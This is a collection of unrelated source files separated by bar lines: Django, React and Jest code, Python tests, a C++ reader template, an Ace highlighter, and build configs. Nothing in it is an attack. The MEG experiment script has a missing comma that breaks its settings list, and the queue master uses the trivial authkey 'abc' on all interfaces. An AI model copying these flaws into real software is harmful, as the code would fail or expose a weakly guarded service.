c[v] = color # Красим вершину
for u in G[v]:
if c[v] == c[u]:
return False # Нашли цикл нечётной длины
elif c[u] == -1: # Вершина u ещё не покрашена
if not dfs(u, 3-color):
return False
return True
# Запускаем по всем компонентам связности
for v in range(1,N+1):
if c[v] == -1:
dfs(v)
|
"""renty URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('webapp.urls')),
]
|
const registerHandler = require('./../router').registerHandler
const findHandler = require('./../router').findHandler
registerHandler('Get', 'http://www.xxx.com/weibos', 'queryWeibo')
registerHandler('post', 'http://www.xxx.com/weibos', 'addWeibo')
registerHandler('Delete', 'http://www.xxx.com/weibos', 'deleteWeibo')
registerHandler('Update', 'http://www.xxx.com/weibos', 'updateWeibo')
registerHandler('Get', 'http://www.xxx.com/comments', 'queryComment')
registerHandler('post', 'http://www.xxx.com/comments', 'queryComment')
registerHandler('Delete', 'http://www.xxx.com/comments', 'queryComment')
registerHandler('Update', 'http://www.xxx.com/comments', 'queryComment')
test('find the router', () => {
expect(findHandler('Get', 'http://www.xxx.com/weibos')).toEqual('queryWeibo')
expect(findHandler('post', 'http://www.xxx.com/weibos')).toEqual('addWeibo')
expect(findHandler('Delete', 'http://www.xxx.com/weibos')).toEqual('deleteWeibo')
expect(findHandler('Update', 'http://www.xxx.com/weibos')).toEqual('updateWeibo')
expect(findHandler('Get', 'http://www.xxx.com/comments')).toEqual('queryComment')
expect(findHandler('post', 'http://www.xxx.com/comments')).toEqual('queryComment')
expect(findHandler('Delete', 'http://www.xxx.com/comments')).toEqual('queryComment')
expect(findHandler('Update', 'http://www.xxx.com/comments')).toEqual('queryComment')
})
test('not find the router', () => {
expect(findHandler('Get', 'http://www.xxx.com/werwer')).toEqual('')
})
|
# encoding: utf-8
# (c) 2017-2020 Open Risk, all rights reserved
#
# TransitionMatrix is licensed under the Apache 2.0 license a copy of which is included
# in the source distribution of TransitionMatrix. This is notwithstanding any licenses of
# third-party software included in this distribution. You may not use this file except in
# compliance with the License.
#
# Unless required by applicable law or agreed to in writing, software distributed under
# the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
# either express or implied. See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import transitionMatrix as tm
from transitionMatrix import source_path
import pandas as pd
ACCURATE_DIGITS = 7
class TestPreprocessing(unittest.TestCase):
def test_bin_timestamps(self):
dataset_path = source_path + "datasets/"
data = pd.read_csv(dataset_path + 'synthetic_data1.csv')
event_count = data['ID'].count()
cohort_data, cohort_intervals = tm.utils.bin_timestamps(data, cohorts=5)
cohort_data['Count'] = cohort_data['Count'].astype(int)
self.assertEqual(event_count, cohort_data['Count'].sum())
class TestDataSetGenerators(unittest.TestCase):
pass
if __name__ == "__main__":
unittest.main()
|
import React, { Component } from 'react';
import { connect } from 'react-redux';
import * as actions from './FormActions';
import { TextInput, Button } from './common';
class Login extends Component {
constructor(props) {
super(props);
this.state = {
email: '',
password: '',
error: ''
};
this.handleEvent = this.handleEvent.bind(this);
this.onSubmit = this.onSubmit.bind(this);
}
componentWillMount() {
if(this.props.auth) {
if (this.props.auth.success) {
this.props.history.push('/view');
}
}
}
componentWillUpdate(nextProps) {
if(nextProps.auth) {
if(nextProps.auth.success) {
this.props.history.push('/view');
}
}
}
handleEvent(e) {
e.preventDefault();
this.setState({ [e.target.name]: e.target.value });
}
onSubmit(e) {
e.preventDefault();
const { email, password } = this.state;
if (email.length >= 4 && password.length >= 4 ) {
this.setState({ error: '' }, () => {
this.props.doLogin({ email, password });
});
}
else {
this.setState({ error: 'Invalid email or password' });
}
}
renderError() {
let error = this.state.error;
if (this.props.auth) {
if (!this.props.auth.success) {
error = this.props.auth.message;
}
}
return <div className="error text-center">{error}</div>;
}
render() {
return (
<div className="container forms-container">
<div className="row">
<div className="col-md-12">
<div className="row">
<div className="col-md-6 mx-auto">
<div className="card rounded-0">
<div className="card-header">
<h5 className="mb-0">Login</h5>
</div>
<div className="card-body">
{this.renderError()}
<form id="login" onSubmit={this.onSubmit}>
<TextInput name="email" type="text" label="Email Address" value={this.state.email} onChange={this.handleEvent} />
<TextInput name="password" type="password" label="Password" value={this.state.password} onChange={this.handleEvent} />
<Button type="submit" name="btn-login" label="Login" />
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
)
}
}
const mapStateToProps = ({ auth }) => {
return { auth };
};
export default connect(mapStateToProps, actions)(Login);
|
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from trove.hacking import translation_checks as tc
from trove.tests.unittests import trove_testtools
class HackingTestCase(trove_testtools.TestCase):
def assertLinePasses(self, func, *args):
def check_callable(f, *args):
return next(f(*args))
self.assertRaises(StopIteration, check_callable, func, *args)
def assertLineFails(self, func, *args):
self.assertIsInstance(next(func(*args)), tuple)
def test_factory(self):
def check_callable(fn):
self.assertTrue(hasattr(fn, '__call__'))
self.assertIsNone(tc.factory(check_callable))
def test_log_translations(self):
expected_marks = {
'error': '_',
'info': '_',
'warning': '_',
'critical': '_',
'exception': '_',
}
logs = expected_marks.keys()
debug = "LOG.debug('OK')"
self.assertEqual(
0, len(list(tc.validate_log_translations(debug, debug, 'f'))))
for log in logs:
bad = 'LOG.%s("Bad")' % log
self.assertEqual(
1, len(list(tc.validate_log_translations(bad, bad, 'f'))))
ok = 'LOG.%s(_("OK"))' % log
self.assertEqual(
0, len(list(tc.validate_log_translations(ok, ok, 'f'))))
ok = "LOG.%s('OK') # noqa" % log
self.assertEqual(
0, len(list(tc.validate_log_translations(ok, ok, 'f'))))
ok = "LOG.%s(variable)" % log
self.assertEqual(
0, len(list(tc.validate_log_translations(ok, ok, 'f'))))
# Do not do validations in tests
ok = 'LOG.%s("OK - unit tests")' % log
self.assertEqual(
0, len(list(tc.validate_log_translations(ok, ok,
'f/tests/f'))))
for mark in tc._all_hints:
stmt = "LOG.%s(%s('test'))" % (log, mark)
self.assertEqual(
0 if expected_marks[log] == mark else 1,
len(list(tc.validate_log_translations(stmt, stmt, 'f'))))
def test_no_translate_debug_logs(self):
for hint in tc._all_hints:
bad = "LOG.debug(%s('bad'))" % hint
self.assertEqual(
1, len(list(tc.no_translate_debug_logs(bad, 'f'))))
def test_check_localized_exception_messages(self):
f = tc.check_raised_localized_exceptions
self.assertLineFails(f, " raise KeyError('Error text')", '')
self.assertLineFails(f, ' raise KeyError("Error text")', '')
self.assertLinePasses(f, ' raise KeyError(_("Error text"))', '')
self.assertLinePasses(f, ' raise KeyError(_ERR("Error text"))', '')
self.assertLinePasses(f, " raise KeyError(translated_msg)", '')
self.assertLinePasses(f, '# raise KeyError("Not translated")', '')
self.assertLinePasses(f, 'print("raise KeyError("Not '
'translated")")', '')
def test_check_localized_exception_message_skip_tests(self):
f = tc.check_raised_localized_exceptions
self.assertLinePasses(f, "raise KeyError('Error text')",
'neutron_lib/tests/unit/mytest.py')
|
import React from 'react';
import { Link } from 'react-router-dom';
import { Pagination } from 'react-bootstrap';
import { list, countpost } from '../../Api/Post';
import DefaultPost from '../../Images/mountains.jpg';
import { serverUrl } from '../../variables';
import './style.css';
// import { isAuthenticated } from '../../Api';
class Posts extends React.Component {
constructor() {
super();
this.state = {
posts: [],
page: 1,
count: 0,
// redirectToSignin: false,
// noMorePosts: false,
// bookmark: false,
};
}
componentDidMount() {
this.loadPosts(this.state.page);
this.counter();
}
loadPosts = page => {
list(page).then(data => {
if (!data.error) {
console.log(data.data);
this.setState({ posts: data.data });
return;
}
console.log(data.error);
});
};
counter = () => {
countpost().then(data => {
if (!data.error) {
parseInt(data.count, 10);
this.setState({ count: data.count });
return;
}
console.log(data.error);
});
};
loadMore = async number => {
await this.setState(prevState => ({
page: prevState.page + number,
}));
this.loadPosts(this.state.page);
};
loadLess = async number => {
await this.setState(prevState => ({
page: prevState.page - number,
}));
this.loadPosts(this.state.page);
};
abs = number => {
switch (true) {
case this.state.page > number:
this.loadLess(this.state.page - number);
break;
case this.state.page < number:
this.loadMore(number - this.state.page);
break;
default:
}
};
renderPosts = posts => {
const items = [];
const perPageCount = 7;
for (let number = 1; number <= Math.ceil(this.state.count / perPageCount); number += 1) {
items.push(
<Pagination.Item
key={number}
active={number === this.state.page}
onClick={() => this.abs(number)}
>
{number}
</Pagination.Item>,
);
}
return (
<div className="row">
<main>
<div className="post-card-container">
{posts.map(post => {
console.log(post);
let posterUrl = '';
let posterName = 'Unknown';
if (post.postedBy) {
posterUrl = `/user/${post.postedBy._id}`;
posterName = post.postedBy.name;
}
return (
<div className="post-card">
<div className="post-card__header">
<div className="post-card__picture">
<div className="post-card__picture-overlay"> </div>
<img
src={`${serverUrl}/api/post/photo/${post._id}`}
alt={post.title}
className="post-card__picture-img"
onError={e => {
e.target.src = `${DefaultPost}`;
}}
/>
</div>
<h3 className="post_card__title">
<span> {post.title} </span>
</h3>
</div>
<div className="post-card__details">
<h4 className="post-card__sub-heading">
<Link href={`${posterUrl}`} to={`${posterUrl}`}>
{posterName}
</Link>
</h4>
<p
className="post-card__text"
style={{ wordBreak: 'break-word' }}
>
{post.description}
</p>
{post.tags.map(tag => (
<div className="post-card__data">
<i className="fa fa-tag post-card__icon" />
<span> {tag} </span>
</div>
))}
</div>
<div className="post-card__footer">
<p className="post-card__ratings">
<i className="fa fa-heart post-card__icon" />
<span className="post-card__footer-text">
{post.likes.length} likes
</span>
</p>
<p className="post-card__date">
<i className="fa fa-calendar post-card__icon" />
<span className="post-card__footer-text">
{new Date(post.created).toDateString()}
</span>
</p>
<Link
href={`/post/${post._id}`}
to={`/post/${post._id}`}
className="post-btn btn btn-lg btn-primary"
>
Details
</Link>
</div>
</div>
);
})}
</div>
</main>
<div className="center">
<Pagination>
{this.state.page > 1 ? (
<Pagination.Prev onClick={() => this.loadLess(1)} />
) : (
''
)}
{items}
{this.state.posts.length ? (
<Pagination.Next onClick={() => this.loadMore(1)} />
) : (
''
)}
</Pagination>
</div>
</div>
);
};
render() {
const { posts, page } = this.state;
return (
<div>
{' '}
{this.renderPosts(posts)}
<h2 className="mt-5 mb-5">{!posts.length ? 'No more posts!' : ''}</h2>
{/* <h2 className="mt-5 mb-5">{!posts.length ? 'Loading...' : 'Recent Posts'}</h2> */}
</div>
);
}
}
export default Posts;
|
////////////////////////////////////////////////////////////////////////////
// Created : 31.03.2010
// Author : Alexander Maniluk
// Copyright (C) GSC Game World - 2010
////////////////////////////////////////////////////////////////////////////
#ifndef SIGNALLING_READER_INLINE_H_INCLUDED
#define SIGNALLING_READER_INLINE_H_INCLUDED
namespace xray
{
template <typename Device>
signalling_reader<Device>::signalling_reader( device_type & device ) :
m_device(device)
{
}
template <typename Device>
signalling_reader<Device>::~signalling_reader( )
{
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_u64( u64 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_s64( s64 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_u32( u32 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_s32( s32 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_u16( u16 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_s16( s16 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_u8( u8 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_s8( s8 & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float( float & dest )
{
return m_device.read(pointer_cast<pointer_type>(&dest), sizeof(dest)) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float2( math::float2 & dest )
{
return r_float(dest.x) &&
r_float(dest.y);
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float3( math::float3 & dest )
{
return r_float(dest.x) &&
r_float(dest.y) &&
r_float(dest.z);
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float4( math::float4 & dest )
{
return r_float(dest.x) &&
r_float(dest.y) &&
r_float(dest.z) &&
r_float(dest.w);
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float4x4( math::float4x4 & dest )
{
return r_float4(dest.i) &&
r_float4(dest.j) &&
r_float4(dest.k) &&
r_float4(dest.c);
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float_q8( float & dest, float min, float max )
{
u8 tmp_value;
if (!r_u8(tmp_value))
return false;
dest = ( float( tmp_value )/255.0f ) *( max - min ) + min;
if ((dest < min) || (dest > max))
return false;
return true;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_float_q16( float & dest, float min, float max )
{
u16 tmp_value;
if (!r_u16(tmp_value))
return false;
dest = (float(tmp_value)/65535.0f) *(max - min) + min;
if ((dest < min) || (dest > max))
return false;
return true;
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_angle_q8( float & dest )
{
return r_float_q8(dest, 0.0f, math::pi_x2);
}
template <typename Device>
signalling_bool signalling_reader<Device>::r_angle_q16( float & dest )
{
return r_float_q16(dest, 0.0f, math::pi_x2);
}
template <typename Device>
template <int ArraySize>
signalling_bool signalling_reader<Device>::r_char_array( char (&carray)[ArraySize] )
{
mutable_buffer tmp_dst_buff(pointer_cast<pvoid>(carray), ArraySize);
return read(tmp_dst_buff, ArraySize) ? true : false;
}
template <bool IsBufferDevice = false>
struct string_reader_impl
{
template <typename Reader>
static signalling_bool read ( Reader & owner, buffer_string & str_dest )
{
ASSERT(str_dest.max_length() > 0);
u8 tmp_char;
u32 tmp_strsize = 0;
u32 const max_strsize = str_dest.max_length() - 1;
while (owner.r_u8(tmp_char))
{
if (tmp_char == 0)
return true;
str_dest.append(static_cast<char>(tmp_char));
++tmp_strsize;
if (tmp_strsize > max_strsize)
return false;
}
return false;
}
};
template <>
struct string_reader_impl<true>
{
template <typename Reader>
static signalling_bool read ( Reader & owner, buffer_string & str_dest )
{
typedef typename Reader::size_type size_type;
size_type tmp_length = xray::strings::length(
pointer_cast<pcstr>(owner.pointer()));
if (owner.elapsed() < tmp_length)
return false;
if (str_dest.max_length() < tmp_length)
return false;
str_dest.assign (owner.pointer(), owner.pointer() + tmp_length);
return owner.advance (tmp_length + 1) ? true : false;
}
};
template <typename Device>
signalling_bool signalling_reader<Device>::r_string( buffer_string & str )
{
typedef string_reader_impl<
is_seekable_reader<Device>::result &&
has_direct_read_access<Device>::result> str_reader_type;
return str_reader_type::read(*this, str) ? true : false;
}
template <typename Device>
signalling_bool signalling_reader<Device>::read( mutable_buffer dst, size_type const read_size )
{
if (dst.size() < read_size)
return false;
return m_device.read(pointer_cast<pointer_type>(dst.c_ptr()), read_size) ? true : false;
}
} // namespace xray
#endif // #ifndef SIGNALLING_READER_INLINE_H_INCLUDED
|
#pragma once
/*
* Rectifier.h
* Deals with the Stereo Rectification
* Created on: Dec 05, 2018
* Author: Aaron Boda
*/
#include "pch.h"
#ifndef RECTIFIER_H_
#define RECTIFIER_H_
// Function
/** PERFORM STEREO CAMERA RECTIFICATION
@param K_L, D_L, K_R, D_R Left and Right camera matrix and distortion parameters.
@param R Rotation Matrix between the left and the right camera coordinate systems.
@param T Translation Vector between the left and the right cameras.
@param R_L, R_R Rectification transform (rotation matrix) for the Left and Right camera..
@param P_L, P_R Projection matrix in the new (rectified) coordinate systems for the Left and Right cameras.
@param Q Disparity-to-depth mapping matrix .
@param img_size Image Size.
*/
void StereoRectification(cv::Mat& K_L, cv::Mat& D_L, cv::Mat& K_R, cv::Mat& D_R, cv::Mat& R, cv::Vec3d& T,
cv::Mat& R_L, cv::Mat& R_R, cv::Mat& P_L, cv::Mat& P_R, cv::Mat& Q, cv::Size img_size);
/** COMPUTES THE UNDISTORTION AND RECTIFICATION TRANSFORMATION MAP
@param K, D Camera matrix and distortion parameters.
@param R Rectification transform (rotation matrix) for the camera.
@param K_NEW New Camera Matrix.
@param M_X, M_Y Map X and Map Y.
@param img_size Image Size.
*/
void UndistortRectifyMap(cv::Mat& K, cv::Mat& D, cv::Mat& R, cv::Mat& K_NEW, cv::Mat& M_X, cv::Mat& M_Y, cv::Size img_size);
/** REMAP TRANSFORM SOURCE IMAGE USING THE SPECIFIED MAP
@param IMG_IN Input (source) Image.
@param IMG_OUT Output Rectified Image.
@param M_X, M_Y Map X and Map Y.
*/
void Remapper(cv::Mat& IMG_IN, cv::Mat& IMG_OUT, cv::Mat& M_X, cv::Mat& M_Y);
#endif /* RECTIFIER_H_ */
|
# brain data
import os
from joblib import Parallel, delayed
import pandas as pd
from time import time
import numpy as np
from smtr import STL
from build_data import build_coefs, build_dataset
dataset = "camcan"
savedir_name = "5sources_%s" % dataset
compute_ot = True
positive = False
if os.path.exists("/home/parietal/"):
results_path = "/home/parietal/hjanati/csvs/%s/" % dataset
data_path = "/home/parietal/hjanati/data/"
else:
data_path = "~/Dropbox/neuro_transport/code/mtw_experiments/meg/"
data_path = os.path.expanduser(data_path)
results_path = data_path + "results/%s/" % dataset
M = np.load(data_path + "%s/metrics/metric_fsaverage_lh.npy" % dataset)
M_emd = np.ascontiguousarray(M.copy() * 100) # Metric M in cm
n_features = len(M)
seed = 42
std = 0.25
resolution = 4
subject = 'fsaverage%d' % resolution
n_samples = 204
epsilon = 10. / n_features
epsilon_met = 0.
gamma = 1.
depth = 0.9
model = STL(positive=positive)
savedir = results_path + "%s/" % savedir_name
if not os.path.exists(savedir):
os.makedirs(savedir)
def sum_coefs(seed, n_tasks, overlap, n_sources, power,
labels_type, dataset=dataset):
t0 = time()
assert os.path.exists(savedir)
M_ = M.copy() ** power
M_ /= np.median(M_)
M_ = - M_ / epsilon
auc, ot, mse = dict(), dict(), dict()
aucabs, otabs = dict(), dict()
coefs = build_coefs(n_tasks=n_tasks, overlap=overlap,
n_sources=n_sources, seed=seed,
positive=positive, labels_type=labels_type,
overlap_on="tasks", dataset=dataset)
coefs_dict = dict(truth=coefs, scaling=None)
coefs_mean = coefs.mean(axis=1)
coefs_ = np.ones_like(coefs) * coefs_mean[:, None]
assert abs(coefs).max(axis=0).all()
ot_params = {"M": M_emd, "epsilon": epsilon_met, "compute_ot": compute_ot}
model.coefs_ = coefs_
name = "truth-mean"
bscores = model.score_coefs(coefs, **ot_params)
auc[name.lower()] = bscores['auc']
ot[name.lower()] = - bscores['ot']
mse[name.lower()] = - bscores['mse']
aucabs[name.lower()] = bscores['aucabs']
otabs[name.lower()] = - bscores['otabs']
x_auc, x_ot, x_mse, names = [], [], [], []
x_aucabs, x_otabs = [], []
for name, v in auc.items():
names.append(name)
x_auc.append(v)
x_ot.append(ot[name])
x_mse.append(mse[name])
x_aucabs.append(aucabs[name])
x_otabs.append(otabs[name])
data = pd.DataFrame(x_auc, columns=["auc"])
data["ot"] = x_ot
data["mse"] = x_mse
data["aucabs"] = x_aucabs
data["otabs"] = x_otabs
data["model"] = names
data["computation_time"] = t0
t = int(1e5 * time())
settings = [("subject", subject), ("n_tasks", n_tasks),
("overlap", overlap), ("std", std), ("seed", seed),
("epsilon", epsilon * n_features), ("gamma", gamma),
("n_features", coefs.shape[0]),
("power", power), ("n_sources", n_sources),
("label_type", labels_type)
("save_time", t)]
coefs_dict["settings"] = dict(settings)
for var_name, var_value in settings:
data[var_name] = var_value
# with open(coefs_fname, "wb") as ff:
# pickle.dump(coefs_dict, ff)
# with open(cvpath_fname, "wb") as ff:
# pickle.dump(cvpath_dict, ff)
print("One worker out: \n", data)
data_name = "results_%d" % t + ".csv"
data.to_csv(savedir + data_name)
return 0.
def wrapper(seed, n_tasks, overlap, n_sources, power, labels_type):
x = sum_coefs(seed, n_tasks, overlap, n_sources, power, labels_type)
return x
if __name__ == "__main__":
t0 = time()
seed = 42
rnd = np.random.RandomState(seed)
n_repeats = 30
seeds = rnd.randint(100000000, size=n_repeats)
overlaps = [0.5]
n_tasks = [2, 4, 8, 16, 24, 32]
n_sources = [5]
powers = [1.]
types = ["any"]
seeds_points = [(s, k, o, n, p, lt)
for n in n_sources for o in overlaps for lt in types
for p in powers for s in seeds for k in n_tasks]
parallel = Parallel(n_jobs=50, backend="multiprocessing")
# parallel = Parallel(n_jobs=1)
iterator = (delayed(wrapper)(s, k, o, n, p, lt)
for s, k, o, n, p, lt in seeds_points)
out = parallel(iterator)
print('================================' +
'FULL TIME = %d' % (time() - t0))
|
#!/usr/bin/env python3
# FileName:task_master.py
# -*- coding: utf-8 -*-
""" 分布式进程 master进程"""
import random, time, queue
from multiprocessing.managers import BaseManager
task_queue = queue.Queue()
result_queue = queue.Queue()
class QueueManager(BaseManager):
pass
def get_task_queue():
return task_queue
def get_result_queue():
return result_queue;
if __name__ == '__main__':
QueueManager.register('get_task_queue', callable=get_task_queue)
QueueManager.register('get_result_queue', callable=get_result_queue)
manager = QueueManager(address=('', 5000), authkey=b'abc')
manager.start()
task = manager.get_task_queue()
result = manager.get_result_queue()
for i in range(10):
n = random.randint(0, 1000)
print('Put task %s' % n)
task.put(n)
print('Try get result....')
for i in range(10):
r = result.get(timeout=10)
print('Result %s' % r)
manager.shutdown()
print('master exit')
|
define("ace/mode/rst_highlight_rules", ["require", "exports", "module", "ace/lib/oop", "ace/lib/lang", "ace/mode/text_highlight_rules"], function(e, t, n) {
"use strict";
var r = e("../lib/oop"),
i = e("../lib/lang"),
s = e("./text_highlight_rules").TextHighlightRules,
o = function() {
var e = {
title: "markup.heading",
list: "markup.heading",
table: "constant",
directive: "keyword.operator",
entity: "string",
link: "markup.underline.list",
bold: "markup.bold",
italic: "markup.italic",
literal: "support.function",
comment: "comment"
},
t = "(^|\\s|[\"'(<\\[{\\-/:])",
n = "(?:$|(?=\\s|[\\\\.,;!?\\-/:\"')>\\]}]))";
this.$rules = {
start: [{
token: e.title,
regex: "(^)([\\=\\-`:\\.'\"~\\^_\\*\\+#])(\\2{2,}\\s*$)"
}, {
token: ["text", e.directive, e.literal],
regex: "(^\\s*\\.\\. )([^: ]+::)(.*$)",
next: "codeblock"
}, {
token: e.directive,
regex: "::$",
next: "codeblock"
}, {
token: [e.entity, e.link],
regex: "(^\\.\\. _[^:]+:)(.*$)"
}, {
token: [e.entity, e.link],
regex: "(^__ )(https?://.*$)"
}, {
token: e.entity,
regex: "^\\.\\. \\[[^\\]]+\\] "
}, {
token: e.comment,
regex: "^\\.\\. .*$",
next: "comment"
}, {
token: e.list,
regex: "^\\s*[\\*\\+-] "
}, {
token: e.list,
regex: "^\\s*(?:[A-Za-z]|[0-9]+|[ivxlcdmIVXLCDM]+)\\. "
}, {
token: e.list,
regex: "^\\s*\\(?(?:[A-Za-z]|[0-9]+|[ivxlcdmIVXLCDM]+)\\) "
}, {
token: e.table,
regex: "^={2,}(?: +={2,})+$"
}, {
token: e.table,
regex: "^\\+-{2,}(?:\\+-{2,})+\\+$"
}, {
token: e.table,
regex: "^\\+={2,}(?:\\+={2,})+\\+$"
}, {
token: ["text", e.literal],
regex: t + "(``)(?=\\S)",
next: "code"
}, {
token: ["text", e.bold],
regex: t + "(\\*\\*)(?=\\S)",
next: "bold"
}, {
token: ["text", e.italic],
regex: t + "(\\*)(?=\\S)",
next: "italic"
}, {
token: e.entity,
regex: "\\|[\\w\\-]+?\\|"
}, {
token: e.entity,
regex: ":[\\w-:]+:`\\S",
next: "entity"
}, {
token: ["text", e.entity],
regex: t + "(_`)(?=\\S)",
next: "entity"
}, {
token: e.entity,
regex: "_[A-Za-z0-9\\-]+?"
}, {
token: ["text", e.link],
regex: t + "(`)(?=\\S)",
next: "link"
}, {
token: e.link,
regex: "[A-Za-z0-9\\-]+?__?"
}, {
token: e.link,
regex: "\\[[^\\]]+?\\]_"
}, {
token: e.link,
regex: "https?://\\S+"
}, {
token: e.table,
regex: "\\|"
}],
codeblock: [{
token: e.literal,
regex: "^ +.+$",
next: "codeblock"
}, {
token: e.literal,
regex: "^$",
next: "codeblock"
}, {
token: "empty",
regex: "",
next: "start"
}],
code: [{
token: e.literal,
regex: "\\S``" + n,
next: "start"
}, {
defaultToken: e.literal
}],
bold: [{
token: e.bold,
regex: "\\S\\*\\*" + n,
next: "start"
}, {
defaultToken: e.bold
}],
italic: [{
token: e.italic,
regex: "\\S\\*" + n,
next: "start"
}, {
defaultToken: e.italic
}],
entity: [{
token: e.entity,
regex: "\\S`" + n,
next: "start"
}, {
defaultToken: e.entity
}],
link: [{
token: e.link,
regex: "\\S`__?" + n,
next: "start"
}, {
defaultToken: e.link
}],
comment: [{
token: e.comment,
regex: "^ +.+$",
next: "comment"
}, {
token: e.comment,
regex: "^$",
next: "comment"
}, {
token: "empty",
regex: "",
next: "start"
}]
}
};
r.inherits(o, s), t.RSTHighlightRules = o
}), define("ace/mode/rst", ["require", "exports", "module", "ace/lib/oop", "ace/mode/text", "ace/mode/rst_highlight_rules"], function(e, t, n) {
"use strict";
var r = e("../lib/oop"),
i = e("./text").Mode,
s = e("./rst_highlight_rules").RSTHighlightRules,
o = function() {
this.HighlightRules = s
};
r.inherits(o, i),
function() {
this.type = "text", this.$id = "ace/mode/rst", this.snippetFileId = "ace/snippets/rst"
}.call(o.prototype), t.Mode = o
});
(function() {
window.require(["ace/mode/rst"], function(m) {
if (typeof module == "object" && typeof exports == "object" && module) {
module.exports = m;
}
});
})();
|
// @ts-check
const { chalk, warn } = require('../../utils')
const { getLogMessage } = require('../log')
const DEFAULT_LAMBDA_OPTIONS = {
verboseLevel: 3,
}
const SECONDS_TO_MILLISECONDS = 1000
const detectAwsSdkError = ({ error }) => {
const isAwsSdkError = error && error.errorMessage && error.errorMessage.includes("Cannot find module 'aws-sdk'")
if (isAwsSdkError) {
warn(getLogMessage('functions.missingAwsSdk'))
}
}
const formatLambdaError = (err) => chalk.red(`${err.errorType}: ${err.errorMessage}`)
// should be equivalent to https://github.com/netlify/proxy/blob/main/pkg/functions/request.go#L105
const exceptionsList = new Set([
'application/csp-report',
'application/graphql',
'application/json',
'application/javascript',
'application/x-www-form-urlencoded',
'application/x-ndjson',
'application/xml',
])
/**
* @param {string | undefined} contentType
* @returns {boolean}
*/
const shouldBase64Encode = function (contentType) {
if (!contentType) {
return true
}
const [contentTypeSegment] = contentType.split(';')
contentType = contentTypeSegment
contentType = contentType.toLowerCase()
if (contentType.startsWith('text/')) {
return false
}
if (contentType.endsWith('+json') || contentType.endsWith('+xml')) {
return false
}
if (exceptionsList.has(contentType)) {
return false
}
return true
}
const styleFunctionName = (name) => chalk.magenta(name)
module.exports = {
detectAwsSdkError,
DEFAULT_LAMBDA_OPTIONS,
formatLambdaError,
SECONDS_TO_MILLISECONDS,
shouldBase64Encode,
styleFunctionName,
}
|
const mix = require('laravel-mix');
const fs = require('fs');
const path = require('path');
const tailwind = require('tailwindcss');
// https://codeanddeploy.com/blog/laravel/combine-the-nwidart-laravel-modules-assets-to-public-using-laravel-mix
const moduleFolder = './modules';
const dirs = p => fs.readdirSync(p).filter(f => fs.statSync(path.resolve(p,f)).isDirectory());
// Get the available modules return as array
let modules = dirs(moduleFolder);
modules.forEach(function(mod){
mix.js(__dirname + "/modules/" + mod + "/Resources/assets/js/app.js", 'public/js');
mix.sass(__dirname + "/modules/" + mod + "/Resources/assets/sass/app.scss", 'public/css');
});
mix
.options({
processCssUrls: false,
postCss: [ tailwind('./tailwind.config.js') ],
})
.browserSync({
proxy: 'wowlf.local',
files: [
'modules/**/Resources/**/*.blade.php',
'modules/**/Resources/**/*.js'
],
open: false
});
|
# (C) Copyright [2020] Hewlett Packard Enterprise Development LP
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
